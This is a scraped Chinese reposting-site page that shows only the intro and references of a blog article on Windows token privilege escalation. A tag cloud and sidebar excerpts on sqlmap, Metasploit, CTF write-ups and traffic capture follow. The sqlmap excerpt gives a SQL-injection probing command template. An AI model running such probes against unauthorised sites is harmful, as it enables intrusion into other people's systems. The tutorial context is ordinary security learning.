學安全一年,認識了很多安全大佬和朋友,希望大家一起進步,這篇文章中如果存在一些不足,還請海涵,作者作為網路安全初學者的慢慢成長路吧!希望未來能更透徹撰寫相關文章,同時非常感謝參考文獻中的安全大佬們的文章分享,深知自己很菜,得努力前行,

(By:Eastmount 2020-09-12 星期一 晚上11點寫于武漢 http://blog.csdn.net/eastmount/ )



2020年8月18新開的“娜璋AI安全之家”,主要圍繞Python大資料分析、網路空間安全、人工智能、Web滲透及攻防技術進行講解,同時分享CCF、SCI、南核北核論文的演算法實作,娜璋之家會更加系統,并重構作者的所有文章,從零講解Python和安全,寫了近十年文章,真心想把自己所學所感所做分享出來,還請各位多多指教,真誠邀請您的關注!謝謝,

在這里插入圖片描述

參考文獻:
[1]《Windows黑客編程技術詳解》甘迪文老師
[2] 行程訪問令牌權限提升 - 自己的小白
[3] windows行程提權(C語言實作) - zzkdev
[4] https://www.freebuf.com/sectool/175551.html
[5] https://blog.csdn.net/Simon798/article/details/107051801/

轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/29734.html

標籤:其他

上一篇:Unity3d內集成OPCClient采集OPC資料出錯

下一篇:jmeter的提取回應資料里的引數問題

標籤雲
其他(157675) Python(38076) JavaScript(25376) Java(17977) C(15215) 區塊鏈(8255) C#(7972) AI(7469) 爪哇(7425) MySQL(7132) html(6777) 基礎類(6313) sql(6102) 熊猫(6058) PHP(5869) 数组(5741) R(5409) Linux(5327) 反应(5209) 腳本語言(PerlPython)(5129) 非技術區(4971) Android(4554) 数据框(4311) css(4259) 节点.js(4032) C語言(3288) json(3245) 列表(3129) 扑(3119) C++語言(3117) 安卓(2998) 打字稿(2995) VBA(2789) Java相關(2746) 疑難問題(2699) 细绳(2522) 單片機工控(2479) iOS(2429) ASP.NET(2402) MongoDB(2323) 麻木的(2285) 正则表达式(2254) 字典(2211) 循环(2198) 迅速(2185) 擅长(2169) 镖(2155) 功能(1967) .NET技术(1958) Web開發(1951) python-3.x(1918) HtmlCss(1915) 弹簧靴(1913) C++(1909) xml(1889) PostgreSQL(1872) .NETCore(1853) 谷歌表格(1846) Unity3D(1843) for循环(1842)

熱門瀏覽
  • 網閘典型架構簡述

    網閘架構一般分為兩種:三主機的三系統架構網閘和雙主機的2+1架構網閘。 三主機架構分別為內端機、外端機和仲裁機。三機無論從軟體和硬體上均各自獨立。首先從硬體上來看,三機都用各自獨立的主板、記憶體及存盤設備。從軟體上來看,三機有各自獨立的作業系統。這樣能達到完全的三機獨立。對于“2+1”系統,“2”分為 ......

    uj5u.com 2020-09-10 02:00:44 more
  • 如何從xshell上傳檔案到centos linux虛擬機里

    如何從xshell上傳檔案到centos linux虛擬機里及:虛擬機CentOs下執行 yum -y install lrzsz命令,出現錯誤:鏡像無法找到軟體包 前言 一、安裝lrzsz步驟 二、上傳檔案 三、遇到的問題及解決方案 總結 前言 提示:其實很簡單,往虛擬機上安裝一個上傳檔案的工具 ......

    uj5u.com 2020-09-10 02:00:47 more
  • 一、SQLMAP入門

    一、SQLMAP入門 1、判斷是否存在注入 sqlmap.py -u 網址/id=1 id=1不可缺少。當注入點后面的引數大于兩個時。需要加雙引號, sqlmap.py -u "網址/id=1&uid=1" 2、判斷文本中的請求是否存在注入 從文本中加載http請求,SQLMAP可以從一個文本檔案中 ......

    uj5u.com 2020-09-10 02:00:50 more
  • Metasploit 簡單使用教程

    metasploit 簡單使用教程 浩先生, 2020-08-28 16:18:25 分類專欄: kail 網路安全 linux 文章標簽: linux資訊安全 編輯 著作權 metasploit 使用教程 前言 一、Metasploit是什么? 二、準備作業 三、具體步驟 前言 Msfconsole ......

    uj5u.com 2020-09-10 02:00:53 more
  • 游戲逆向之驅動層與用戶層通訊

    驅動層代碼: #pragma once #include <ntifs.h> #define add_code CTL_CODE(FILE_DEVICE_UNKNOWN,0x800,METHOD_BUFFERED,FILE_ANY_ACCESS) /* 更多游戲逆向視頻www.yxfzedu.com ......

    uj5u.com 2020-09-10 02:00:56 more
  • 北斗電力時鐘(北斗授時服務器)讓網路資料更精準

    北斗電力時鐘(北斗授時服務器)讓網路資料更精準 北斗電力時鐘(北斗授時服務器)讓網路資料更精準 京準電子科技官微——ahjzsz 近幾年,資訊技術的得了快速發展,互聯網在逐漸普及,其在人們生活和生產中都得到了廣泛應用,并且取得了不錯的應用效果。計算機網路資訊在電力系統中的應用,一方面使電力系統的運行 ......

    uj5u.com 2020-09-10 02:01:03 more
  • 【CTF】CTFHub 技能樹 彩蛋 writeup

    ?碎碎念 CTFHub:https://www.ctfhub.com/ 筆者入門CTF時時剛開始刷的是bugku的舊平臺,后來才有了CTFHub。 感覺不論是網頁UI設計,還是題目質量,賽事跟蹤,工具軟體都做得很不錯。 而且因為獨到的金幣制度的確讓人有一種想去刷題賺金幣的感覺。 個人還是非常喜歡這個 ......

    uj5u.com 2020-09-10 02:04:05 more
  • 02windows基礎操作

    我學到了一下幾點 Windows系統目錄結構與滲透的作用 常見Windows的服務詳解 Windows埠詳解 常用的Windows注冊表詳解 hacker DOS命令詳解(net user / type /md /rd/ dir /cd /net use copy、批處理 等) 利用dos命令制作 ......

    uj5u.com 2020-09-10 02:04:18 more
  • 03.Linux基礎操作

    我學到了以下幾點 01Linux系統介紹02系統安裝,密碼啊破解03Linux常用命令04LAMP 01LINUX windows: win03 8 12 16 19 配置不繁瑣 Linux:redhat,centos(紅帽社區版),Ubuntu server,suse unix:金融機構,證券,銀 ......

    uj5u.com 2020-09-10 02:04:30 more
  • 05HTML

    01HTML介紹 02頭部標簽講解03基礎標簽講解04表單標簽講解 HTML前段語言 js1.了解代碼2.根據代碼 懂得挖掘漏洞 (POST注入/XSS漏洞上傳)3.黑帽seo 白帽seo 客戶網站被黑帽植入劫持代碼如何處理4.熟悉html表單 <html><head><title>TDK標題,描述 ......

    uj5u.com 2020-09-10 02:04:36 more
最新发布
  • 2023年最新微信小程式抓包教程

    01 開門見山 隔一個月發一篇文章,不過分。 首先回顧一下《微信系結手機號資料庫被脫庫事件》,我也是第一時間得知了這個訊息,然后跟蹤了整件事情的經過。下面是這起事件的相關截圖以及近日流出的一萬條資料樣本: 個人認為這件事也沒什么,還不如關注一下之前45億快遞資料查詢渠道疑似在近日復活的訊息。 訊息是 ......

    uj5u.com 2023-04-20 08:48:24 more
  • web3 產品介紹:metamask 錢包 使用最多的瀏覽器插件錢包

    Metamask錢包是一種基于區塊鏈技術的數字貨幣錢包,它允許用戶在安全、便捷的環境下管理自己的加密資產。Metamask錢包是以太坊生態系統中最流行的錢包之一,它具有易于使用、安全性高和功能強大等優點。 本文將詳細介紹Metamask錢包的功能和使用方法。 一、 Metamask錢包的功能 數字資 ......

    uj5u.com 2023-04-20 08:47:46 more
  • vulnhub_Earth

    前言 靶機地址->>>vulnhub_Earth 攻擊機ip:192.168.20.121 靶機ip:192.168.20.122 參考文章 https://www.cnblogs.com/Jing-X/archive/2022/04/03/16097695.html https://www.cnb ......

    uj5u.com 2023-04-20 07:46:20 more
  • 從4k到42k,軟體測驗工程師的漲薪史,給我看哭了

    清明節一過,盲猜大家已經無心上班,在數著日子準備過五一,但一想到銀行卡里的余額……瞬間心情就不美麗了。最近,2023年高校畢業生就業調查顯示,本科畢業月平均起薪為5825元。調查一出,便有很多同學表示自己又被平均了。看著這一資料,不免讓人想到前不久中國青年報的一項調查:近六成大學生認為畢業10年內會 ......

    uj5u.com 2023-04-20 07:44:00 more
  • 最新版本 Stable Diffusion 開源 AI 繪畫工具之中文自動提詞篇

    🎈 標簽生成器 由于輸入正向提示詞 prompt 和反向提示詞 negative prompt 都是使用英文,所以對學習母語的我們非常不友好 使用網址:https://tinygeeker.github.io/p/ai-prompt-generator 這個網址是為了讓大家在使用 AI 繪畫的時候 ......

    uj5u.com 2023-04-20 07:43:36 more
  • 漫談前端自動化測驗演進之路及測驗工具分析

    隨著前端技術的不斷發展和應用程式的日益復雜,前端自動化測驗也在不斷演進。隨著 Web 應用程式變得越來越復雜,自動化測驗的需求也越來越高。如今,自動化測驗已經成為 Web 應用程式開發程序中不可或缺的一部分,它們可以幫助開發人員更快地發現和修復錯誤,提高應用程式的性能和可靠性。 ......

    uj5u.com 2023-04-20 07:43:16 more
  • CANN開發實踐:4個DVPP記憶體問題的典型案例解讀

    摘要:由于DVPP媒體資料處理功能對存放輸入、輸出資料的記憶體有更高的要求(例如,記憶體首地址128位元組對齊),因此需呼叫專用的記憶體申請介面,那么本期就分享幾個關于DVPP記憶體問題的典型案例,并給出原因分析及解決方法。 本文分享自華為云社區《FAQ_DVPP記憶體問題案例》,作者:昇騰CANN。 DVPP ......

    uj5u.com 2023-04-20 07:43:03 more
  • msf學習

    msf學習 以kali自帶的msf為例 一、msf核心模塊與功能 msf模塊都放在/usr/share/metasploit-framework/modules目錄下 1、auxiliary 輔助模塊,輔助滲透(埠掃描、登錄密碼爆破、漏洞驗證等) 2、encoders 編碼器模塊,主要包含各種編碼 ......

    uj5u.com 2023-04-20 07:42:59 more
  • Halcon軟體安裝與界面簡介

    1. 下載Halcon17版本到到本地 2. 雙擊安裝包后 3. 步驟如下 1.2 Halcon軟體安裝 界面分為四大塊 1. Halcon的五個助手 1) 影像采集助手:與相機連接,設定相機引數,采集影像 2) 標定助手:九點標定或是其它的標定,生成標定檔案及內參外參,可以將像素單位轉換為長度單位 ......

    uj5u.com 2023-04-20 07:42:17 more
  • 在MacOS下使用Unity3D開發游戲

    第一次發博客,先發一下我的游戲開發環境吧。 去年2月份買了一臺MacBookPro2021 M1pro(以下簡稱mbp),這一年來一直在用mbp開發游戲。我大致分享一下我的開發工具以及使用體驗。 1、Unity 官網鏈接: https://unity.cn/releases 我一般使用的Apple ......

    uj5u.com 2023-04-20 07:40:19 more